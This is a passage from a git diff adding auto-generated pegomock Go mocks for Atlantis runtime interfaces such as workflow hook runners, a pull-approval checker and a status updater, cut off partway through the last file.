models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockExternalTeamAllowlistRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockExternalTeamAllowlistRunner(options ...pegomock.Option) *MockExternalTeamAllowlistRunner { + mock := &MockExternalTeamAllowlistRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockExternalTeamAllowlistRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockExternalTeamAllowlistRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockExternalTeamAllowlistRunner().") + } + _params := []pegomock.Param{ctx, shell, shellArgs, command} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledOnce() *VerifierMockExternalTeamAllowlistRunner { + return &VerifierMockExternalTeamAllowlistRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExternalTeamAllowlistRunner { + return &VerifierMockExternalTeamAllowlistRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExternalTeamAllowlistRunner { + return &VerifierMockExternalTeamAllowlistRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExternalTeamAllowlistRunner { + return &VerifierMockExternalTeamAllowlistRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockExternalTeamAllowlistRunner struct { + mock *MockExternalTeamAllowlistRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) *MockExternalTeamAllowlistRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, shell, shellArgs, command} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockExternalTeamAllowlistRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockExternalTeamAllowlistRunner_Run_OngoingVerification struct { + mock *MockExternalTeamAllowlistRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetCapturedArguments() (models.TeamAllowlistCheckerContext, string, string, string) { + ctx, shell, shellArgs, command := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], command[len(command)-1] +} + +func (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.TeamAllowlistCheckerContext, _param1 []string, _param2 []string, _param3 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.TeamAllowlistCheckerContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.TeamAllowlistCheckerContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_post_workflows_hook_runner.go b/server/core/runtime/mocks/mock_post_workflows_hook_runner.go new file mode 100644 index 0000000000..5ae84dfce0 --- /dev/null +++ b/server/core/runtime/mocks/mock_post_workflows_hook_runner.go @@ -0,0 +1,139 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PostWorkflowHookRunner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockPostWorkflowHookRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPostWorkflowHookRunner(options ...pegomock.Option) *MockPostWorkflowHookRunner { + mock := &MockPostWorkflowHookRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPostWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPostWorkflowHookRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPostWorkflowHookRunner().") + } + _params := []pegomock.Param{ctx, command, shell, shellArgs, path} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 string + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(string) + } + if _result[2] != nil { + _ret2 = _result[2].(error) + } + } + return _ret0, _ret1, _ret2 +} + +func (mock *MockPostWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookRunner { + return &VerifierMockPostWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPostWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookRunner { + return &VerifierMockPostWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPostWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookRunner { + return &VerifierMockPostWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPostWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookRunner { + return &VerifierMockPostWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPostWorkflowHookRunner struct { + mock *MockPostWorkflowHookRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPostWorkflowHookRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, command, shell, shellArgs, path} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockPostWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPostWorkflowHookRunner_Run_OngoingVerification struct { + mock *MockPostWorkflowHookRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) { + ctx, command, shell, shellArgs, path := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1] +} + +func (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.WorkflowHookCommandContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_pre_workflows_hook_runner.go b/server/core/runtime/mocks/mock_pre_workflows_hook_runner.go new file mode 100644 index 0000000000..91e29864bc --- /dev/null +++ b/server/core/runtime/mocks/mock_pre_workflows_hook_runner.go @@ -0,0 +1,139 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PreWorkflowHookRunner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockPreWorkflowHookRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPreWorkflowHookRunner(options ...pegomock.Option) *MockPreWorkflowHookRunner { + mock := &MockPreWorkflowHookRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPreWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPreWorkflowHookRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPreWorkflowHookRunner().") + } + _params := []pegomock.Param{ctx, command, shell, shellArgs, path} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 string + var _ret2 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(string) + } + if _result[2] != nil { + _ret2 = _result[2].(error) + } + } + return _ret0, _ret1, _ret2 +} + +func (mock *MockPreWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookRunner { + return &VerifierMockPreWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPreWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookRunner { + return &VerifierMockPreWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPreWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookRunner { + return &VerifierMockPreWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPreWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookRunner { + return &VerifierMockPreWorkflowHookRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPreWorkflowHookRunner struct { + mock *MockPreWorkflowHookRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPreWorkflowHookRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, command, shell, shellArgs, path} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockPreWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPreWorkflowHookRunner_Run_OngoingVerification struct { + mock *MockPreWorkflowHookRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) { + ctx, command, shell, shellArgs, path := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1] +} + +func (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.WorkflowHookCommandContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_pull_approved_checker.go b/server/core/runtime/mocks/mock_pull_approved_checker.go new file mode 100644 index 0000000000..b2b134f7c3 --- /dev/null +++ b/server/core/runtime/mocks/mock_pull_approved_checker.go @@ -0,0 +1,124 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PullApprovedChecker) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" + "reflect" + "time" +) + +type MockPullApprovedChecker struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPullApprovedChecker(options ...pegomock.Option) *MockPullApprovedChecker { + mock := &MockPullApprovedChecker{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPullApprovedChecker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPullApprovedChecker) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPullApprovedChecker().") + } + _params := []pegomock.Param{logger, baseRepo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.ApprovalStatus + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.ApprovalStatus) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockPullApprovedChecker) VerifyWasCalledOnce() *VerifierMockPullApprovedChecker { + return &VerifierMockPullApprovedChecker{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPullApprovedChecker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullApprovedChecker { + return &VerifierMockPullApprovedChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPullApprovedChecker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullApprovedChecker { + return &VerifierMockPullApprovedChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPullApprovedChecker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullApprovedChecker { + return &VerifierMockPullApprovedChecker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPullApprovedChecker struct { + mock *MockPullApprovedChecker + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) *MockPullApprovedChecker_PullIsApproved_OngoingVerification { + _params := []pegomock.Param{logger, baseRepo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", _params, verifier.timeout) + return &MockPullApprovedChecker_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPullApprovedChecker_PullIsApproved_OngoingVerification struct { + mock *MockPullApprovedChecker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, baseRepo, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], baseRepo[len(baseRepo)-1], pull[len(pull)-1] +} + +func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_runner.go b/server/core/runtime/mocks/mock_runner.go new file mode 100644 index 0000000000..758fa38fd0 --- /dev/null +++ b/server/core/runtime/mocks/mock_runner.go @@ -0,0 +1,129 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: Runner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockRunner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockRunner(options ...pegomock.Option) *MockRunner { + mock := &MockRunner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockRunner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockRunner().") + } + _params := []pegomock.Param{ctx, extraArgs, path, envs} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockRunner) VerifyWasCalledOnce() *VerifierMockRunner { + return &VerifierMockRunner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockRunner { + return &VerifierMockRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockRunner { + return &VerifierMockRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockRunner { + return &VerifierMockRunner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockRunner struct { + mock *MockRunner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, extraArgs, path, envs} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) + return &MockRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockRunner_Run_OngoingVerification struct { + mock *MockRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) { + ctx, extraArgs, path, envs := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1] +} + +func (c *MockRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(map[string]string) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_status_updater.go b/server/core/runtime/mocks/mock_status_updater.go new file mode 100644 index 0000000000..8f36ee0d10 --- /dev/null +++ b/server/core/runtime/mocks/mock_status_updater.go @@ -0,0 +1,132 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: StatusUpdater) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockStatusUpdater struct { + fail func(message string, callerSkip ...int) +} + +func NewMockStatusUpdater(options ...pegomock.Option) *MockStatusUpdater { + mock := &MockStatusUpdater{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockStatusUpdater().") + } + _params := []pegomock.Param{ctx, cmdName, status, url, res} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProject", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockStatusUpdater) VerifyWasCalledOnce() *VerifierMockStatusUpdater { + return &VerifierMockStatusUpdater{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStatusUpdater { + return &VerifierMockStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStatusUpdater { + return &VerifierMockStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStatusUpdater { + return &VerifierMockStatusUpdater{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockStatusUpdater struct { + mock *MockStatusUpdater + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) *MockStatusUpdater_UpdateProject_OngoingVerification { + _params := []pegomock.Param{ctx, cmdName, status, url, res} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProject", _params, verifier.timeout) + return &MockStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockStatusUpdater_UpdateProject_OngoingVerification struct { + mock *MockStatusUpdater + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectResult) { + ctx, cmdName, status, url, res := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1] +} + +func (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.Name) + } + } + if len(_params) > 2 { + _param2 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.CommitStatus) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]*command.ProjectResult, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(*command.ProjectResult) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_versionedexecutorworkflow.go b/server/core/runtime/mocks/mock_versionedexecutorworkflow.go new file mode 100644 index 0000000000..acf94e1496 --- /dev/null +++ b/server/core/runtime/mocks/mock_versionedexecutorworkflow.go @@ -0,0 +1,191 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: VersionedExecutorWorkflow) + +package mocks + +import ( + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + logging "github.com/runatlantis/atlantis/server/logging" + "reflect" + "time" +) + +type MockVersionedExecutorWorkflow struct { + fail func(message string, callerSkip ...int) +} + +func NewMockVersionedExecutorWorkflow(options ...pegomock.Option) *MockVersionedExecutorWorkflow { + mock := &MockVersionedExecutorWorkflow{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockVersionedExecutorWorkflow) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockVersionedExecutorWorkflow) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().") + } + _params := []pegomock.Param{log, v} + _result := pegomock.GetGenericMockFrom(mock).Invoke("EnsureExecutorVersion", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { 